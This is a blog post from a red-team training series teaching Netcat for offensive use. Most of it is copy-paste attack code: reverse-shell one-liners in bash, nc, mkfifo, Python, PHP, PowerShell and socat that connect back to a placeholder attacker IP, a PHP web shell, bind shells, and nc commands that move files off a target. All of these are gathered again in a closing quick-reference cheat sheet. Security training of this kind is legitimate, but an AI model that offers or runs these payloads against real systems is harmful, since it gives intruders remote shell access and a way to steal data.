Netcat: The Utility That Does Everything No One Tool Should Do
- Tony Kelly
- May 25
- 6 min read

Series: The Community's Red Team
Post: 11 of 17
Tags: netcat, reverse shells, bind shells, file transfer, port scanning, tools
Read time: ~11 min
Prerequisites: Post 01 — Methodology Overview
Netcat has been called the TCP/IP Swiss Army knife, and that description has stuck for thirty years because nothing better has come along to replace it. It reads and writes raw data across TCP and UDP connections. That's it. That single capability, applied creatively, makes it the tool you reach for when you need to receive a shell, transfer a file with no other options available, grab a service banner, or test whether a port is open and what's behind it.
Every working exploitation toolkit has Netcat in it. Not because it's the best at any one thing, but because it does all the things that don't have a dedicated tool yet — and when you're operating on a compromised machine with no tools installed, the one thing you know will be there is Netcat (or something that works like it).
This post covers the actual use cases: catching shells, sending shells, transferring files, port scanning, and banner grabbing. We'll also cover what to do when Netcat isn't available at all.
The Core Concept: Raw TCP Connections
Everything Netcat does reduces to this: open a TCP (or UDP) connection, then pipe data in one direction or both. Combine that with shell redirection and you get remote code execution. Combine it with file redirection and you get file transfer. The creativity is in what you attach to either end.
Listening for a Reverse Shell
This is the most common Netcat use case. You've found code execution on a target — a web shell, a command injection, a Metasploit auxiliary. You want an interactive shell back. You set up a listener on your machine, then trigger a payload that connects back to it.
On your attack machine:
nc -lvnp 4444
Breaking down the flags:
-l — listen mode (wait for an incoming connection)
-v — verbose (show connection info)
-n — no DNS resolution (numeric IPs only, faster)
-p 4444 — port to listen on
That's it. Your machine is now waiting. When the target connects to port 4444, you get a shell.
Choose your port wisely. Common ports (80, 443, 53, 8080) are less likely to be blocked by egress firewall rules. If you're having trouble getting a connection back, try port 443 — it looks like HTTPS traffic to a simple firewall.
Getting better shell stability with rlwrap
Plain Netcat shells don't support arrow keys, backspace behaves oddly, and Ctrl+C kills your shell instead of the running command. A quick fix:
rlwrap nc -lvnp 4444
rlwrap wraps Netcat with readline support — you get command history, arrow keys, and a much more usable shell before you've had a chance to upgrade it.
Upgrade the Shell Immediately
When you catch a reverse shell with Netcat, the first thing you do is upgrade it to a proper TTY. A raw Netcat shell will cause you problems — tab completion doesn't work, interactive programs crash, Ctrl+C kills the connection.
# On the received shell — Python TTY spawn
python3 -c 'import pty; pty.spawn("/bin/bash")'
# or
python -c 'import pty; pty.spawn("/bin/bash")'
# Background the connection
# Press: Ctrl+Z
# Fix terminal settings on your machine
stty raw -echo; fg
# Set environment
export TERM=xterm
export SHELL=bash
# Fix size (run `stty size` on your local terminal first to get rows/cols)
stty rows 50 columns 200
After this sequence you have a fully interactive shell — Ctrl+C works correctly, tab completion works, vim works, sudo prompts work. Never skip this step.
Reverse Shell Payloads
These are the one-liners you trigger on the target to connect back to your Netcat listener.
Bash (Linux — most common)
bash -i >& /dev/tcp/<your_ip>/4444 0>&1
This uses bash's built-in /dev/tcp pseudofile to create a TCP connection. Works on most Linux systems without needing Netcat on the target at all.
Netcat with -e flag
nc -e /bin/bash <your_ip> 4444
nc -e /bin/sh <your_ip> 4444
Simple and direct — but many modern Linux installs ship a version of Netcat that doesn't have the -e flag compiled in (the OpenBSD variant). If this doesn't work, use the mkfifo method:
Netcat without -e (mkfifo method)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <your_ip> 4444 > /tmp/f
This creates a named pipe that loops shell input/output through Netcat. Works even on stripped-down versions of nc.
Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<your_ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash"])'
PHP (for web shells)
php -r '$sock=fsockopen("<your_ip>",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Or as a web shell you upload:
<?php system($_GET["cmd"]); ?>
PowerShell (Windows)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<your_ip>',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Bind Shells
A reverse shell connects from target back to you. A bind shell has the target listen for you to connect in. Use bind shells when egress is blocked — the target can't reach your machine, but you can reach the target.
On the target (sets up the bind shell):
nc -lvnp 4444 -e /bin/bash
From your attack machine (connects to it):
nc <target_ip> 4444
Bind shells are noisier (an open listening port is more obvious) and less commonly needed, but essential when NAT or egress filtering blocks reverse connections.
File Transfer with Netcat
When SCP isn't available, HTTP isn't set up, and you need to move a file — Netcat handles it raw.
Receiver sets up listener first, then sender connects:
On the receiver (attack machine — catching the file):
nc -lvnp 9001 > received_file.exe
On the sender (target machine — sending the file):
nc -w 3 <receiver_ip> 9001 < file_to_send.exe
-w 3 sets a 3-second timeout after transfer completes so Netcat exits cleanly.
To send in the other direction (push a tool to the target):
Attack machine sends:
nc -lvnp 9001 < tool.exe
Target connects and receives:
nc -w 3 <attack_ip> 9001 > tool.exe
Always verify the transfer with an MD5 hash:
md5sum received_file.exe # Linux
Get-FileHash received_file.exe -Algorithm MD5 # Windows PowerShell
Port Scanning
Netcat can do basic TCP port scanning without Nmap — useful when you're on a machine that doesn't have Nmap and you want to check what's reachable:
nc -zv <target> 20-80
-z is scan mode (connect then close immediately without sending data). This is slow and basic — Nmap is better in every way when available. But nc -zv works in a pinch from inside a pivot host.
Banner Grabbing
Connect to a service and read its banner:
nc <target> 22 # SSH banner
nc <target> 25 # SMTP banner
nc <target> 80 # HTTP — then type: GET / HTTP/1.0 (then press Enter twice)
nc <target> 110 # POP3 banner
nc <target> 21 # FTP banner
Services announce themselves when you connect — the SSH banner tells you the server version, SMTP gives you the MTA software and version, FTP shows the server type. This is the manual version of what Nmap's service detection does automatically.
When Netcat Isn't Available
On locked-down systems, Netcat may not be present. Alternatives:
Bash /dev/tcp (no binary needed, already shown above):
bash -i >& /dev/tcp/<your_ip>/4444 0>&1
Python (usually present on any Linux system):
python3 -c 'import socket,subprocess,os;...'
ncat (Netcat from the Nmap project — usually on Kali, supports SSL):
ncat -lvnp 4444 # listener
ncat <target> 4444 # connect
ncat --ssl -lvnp 4444 # SSL-encrypted listener
socat (more powerful, supports full TTY directly):
# Attack machine
socat file:`tty`,raw,echo=0 TCP-LISTEN:4444
# Target
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<attack_ip>:4444
The socat one-liner gives you a fully upgraded TTY shell in one step — no manual python3 pty.spawn required. When socat is available, use it.
Quick Reference
# Listener (catch reverse shell)
nc -lvnp 4444
rlwrap nc -lvnp 4444 # with readline support
# Reverse shell one-liners (run on target)
bash -i >& /dev/tcp/<your_ip>/4444 0>&1
nc -e /bin/bash <your_ip> 4444
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <your_ip> 4444 > /tmp/f
# Upgrade shell to TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
# Bind shell (target listens, attacker connects)
nc -lvnp 4444 -e /bin/bash # on target
nc <target_ip> 4444 # from attack machine
# File transfer — send TO attack machine
nc -lvnp 9001 > file.exe # attack machine receives
nc -w 3 <attack_ip> 9001 < file.exe # target sends
# File transfer — send FROM attack machine
nc -lvnp 9001 < tool.exe # attack machine serves
nc -w 3 <attack_ip> 9001 > tool.exe # target receives
# Port scan
nc -zv <target> 20-1024
# Banner grab
nc <target> 22
nc <target> 80 # then type: GET / HTTP/1.0
# SSL listener (ncat)
ncat --ssl -lvnp 4444
What's Next
Post 12 (Metasploit) is where the exploitation workflow scales up. Where Netcat catches shells and requires you to set up listeners manually, Metasploit manages payloads, sessions, and post-exploitation modules in one framework. The Meterpreter shell that Metasploit delivers is significantly more powerful than a raw Netcat shell — built-in file transfer, process migration, pivoting, and a library of post-exploitation modules all run directly from the session.
MeshForge — Training the Community's Red Team
They count on your ignorance. The exploit only works on the uninformed.



Comments